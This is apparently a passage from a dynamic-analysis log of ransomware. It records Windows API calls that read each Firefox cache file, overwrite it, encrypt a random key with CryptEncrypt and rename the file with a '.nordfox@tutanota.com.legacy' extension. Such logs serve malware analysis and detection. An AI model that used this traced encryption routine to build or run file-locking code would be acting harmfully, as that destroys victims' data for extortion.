(lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F0C54EEF677196E2899E5E79B4F3A906E46F926" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f0c54eef677196e2899e5e79b4f3a906e46f926"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F0C54EEF677196E2899E5E79B4F3A906E46F926.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f0c54eef677196e2899e5e79b4f3a906e46f926.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddde0 | out: pbBuffer=0x30ddde0) returned 1 [0188.559] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.559] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC", dwFileAttributes=0x80) returned 1 [0188.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd6a8 [0188.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.559] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4efb15999ee57edbfaadf69d6a31d8c6f90fe8dc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.560] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3625) returned 1 [0188.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe29) returned 0x30f3888 [0188.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe29) returned 0x30f46c0 [0188.560] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe29, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe29, lpOverlapped=0x0) returned 1 [0188.577] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.577] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46c0*, nNumberOfBytesToWrite=0xe29, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe29, lpOverlapped=0x0) returned 1 [0188.577] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe29 [0188.578] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.578] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddde0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddde0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.578] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddde0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddde0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.578] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.578] CloseHandle (hObject=0x1b80) returned 1 [0188.579] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4efb15999ee57edbfaadf69d6a31d8c6f90fe8dc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4efb15999ee57edbfaadf69d6a31d8c6f90fe8dc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.581] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddac8 | out: pbBuffer=0x30ddac8) returned 1 [0188.581] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0188.581] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4ED140178E492EA87CC63B79854E2794790379DF", dwFileAttributes=0x80) returned 1 [0188.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de830 [0188.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.582] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4ED140178E492EA87CC63B79854E2794790379DF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ed140178e492ea87cc63b79854e2794790379df"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.582] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7355) returned 1 [0188.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1cbb) returned 0x30f3888 [0188.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1cbb) returned 0x30df058 [0188.583] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1cbb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1cbb, lpOverlapped=0x0) returned 1 [0188.590] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-7355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.590] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df058*, nNumberOfBytesToWrite=0x1cbb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1cbb, lpOverlapped=0x0) returned 1 [0188.590] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1cbb [0188.590] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.590] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddac8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddac8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.591] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddac8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddac8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.591] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.591] CloseHandle (hObject=0x1b80) returned 1 [0188.591] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4ED140178E492EA87CC63B79854E2794790379DF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ed140178e492ea87cc63b79854e2794790379df"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4ED140178E492EA87CC63B79854E2794790379DF.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ed140178e492ea87cc63b79854e2794790379df.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.594] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dee60 | out: pbBuffer=0x30dee60) returned 1 [0188.594] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.594] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EB19FA3D8CEAD68F6470D09587A1393AA88100C", dwFileAttributes=0x80) returned 1 [0188.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ddff0 [0188.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.595] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EB19FA3D8CEAD68F6470D09587A1393AA88100C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4eb19fa3d8cead68f6470d09587a1393aa88100c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.596] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=844) returned 1 [0188.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34c) returned 0x61ec60 [0188.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34c) returned 0x555b90 [0188.596] ReadFile (in: hFile=0x1b80, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x34c, lpOverlapped=0x0) returned 1 [0188.612] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-844, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.612] WriteFile (in: hFile=0x1b80, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x34c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x34c, lpOverlapped=0x0) returned 1 [0188.612] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x34c [0188.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dee60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dee60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.613] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dee60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dee60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.613] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.613] CloseHandle (hObject=0x1b80) returned 1 [0188.614] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EB19FA3D8CEAD68F6470D09587A1393AA88100C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4eb19fa3d8cead68f6470d09587a1393aa88100c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4EB19FA3D8CEAD68F6470D09587A1393AA88100C.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4eb19fa3d8cead68f6470d09587a1393aa88100c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.616] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30de518 | out: pbBuffer=0x30de518) returned 1 [0188.616] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.616] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E62B77ABD78ADC557B61986D9E366B41273F2AE", dwFileAttributes=0x80) returned 1 [0188.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd180 [0188.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.617] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E62B77ABD78ADC557B61986D9E366B41273F2AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e62b77abd78adc557b61986d9e366b41273f2ae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.617] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18640) returned 1 [0188.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x48d0) returned 0x30df058 [0188.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x48d0) returned 0x30e3930 [0188.617] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0x48d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0x48d0, lpOverlapped=0x0) returned 1 [0188.629] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-18640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.629] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3930*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x48d0, lpOverlapped=0x0) returned 1 [0188.630] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x48d0 [0188.630] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.630] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30de518*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30de518*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.630] WriteFile (in: hFile=0x1b80, lpBuffer=0x30de518*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.630] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.630] CloseHandle (hObject=0x1b80) returned 1 [0188.631] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E62B77ABD78ADC557B61986D9E366B41273F2AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e62b77abd78adc557b61986d9e366b41273f2ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E62B77ABD78ADC557B61986D9E366B41273F2AE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e62b77abd78adc557b61986d9e366b41273f2ae.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30de518 | out: pbBuffer=0x30de518) returned 1 [0188.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.635] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E4FE439C561F79240EC3AB7AE886C122ADED94A", dwFileAttributes=0x80) returned 1 [0188.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de830 [0188.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.636] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E4FE439C561F79240EC3AB7AE886C122ADED94A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e4fe439c561f79240ec3ab7ae886c122aded94a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.636] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2589) returned 1 [0188.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa1d) returned 0x30f3888 [0188.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa1d) returned 0x30f42b0 [0188.636] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xa1d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xa1d, lpOverlapped=0x0) returned 1 [0188.638] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.638] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f42b0*, nNumberOfBytesToWrite=0xa1d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f42b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa1d, lpOverlapped=0x0) returned 1 [0188.638] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa1d [0188.638] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.639] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30de518*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30de518*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.639] WriteFile (in: hFile=0x1b80, lpBuffer=0x30de518*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.639] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.639] CloseHandle (hObject=0x1b80) returned 1 [0188.640] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E4FE439C561F79240EC3AB7AE886C122ADED94A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e4fe439c561f79240ec3ab7ae886c122aded94a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E4FE439C561F79240EC3AB7AE886C122ADED94A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e4fe439c561f79240ec3ab7ae886c122aded94a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.642] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd390 | out: pbBuffer=0x30dd390) returned 1 [0188.642] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.642] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5", dwFileAttributes=0x80) returned 1 [0188.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de938 [0188.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.643] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4d7a41c5aa58d81098a00bb2dcd370dec1ebbbc5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.643] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2778) returned 1 [0188.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xada) returned 0x30f3888 [0188.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xada) returned 0x30f4370 [0188.643] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xada, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xada, lpOverlapped=0x0) returned 1 [0188.645] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2778, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.645] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4370*, nNumberOfBytesToWrite=0xada, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4370*, lpNumberOfBytesWritten=0x2e1f9bc*=0xada, lpOverlapped=0x0) returned 1 [0188.645] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xada [0188.645] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.645] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd390*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd390*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.646] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd390*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd390*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.646] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.646] CloseHandle (hObject=0x1b80) returned 1 [0188.646] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4d7a41c5aa58d81098a00bb2dcd370dec1ebbbc5"), 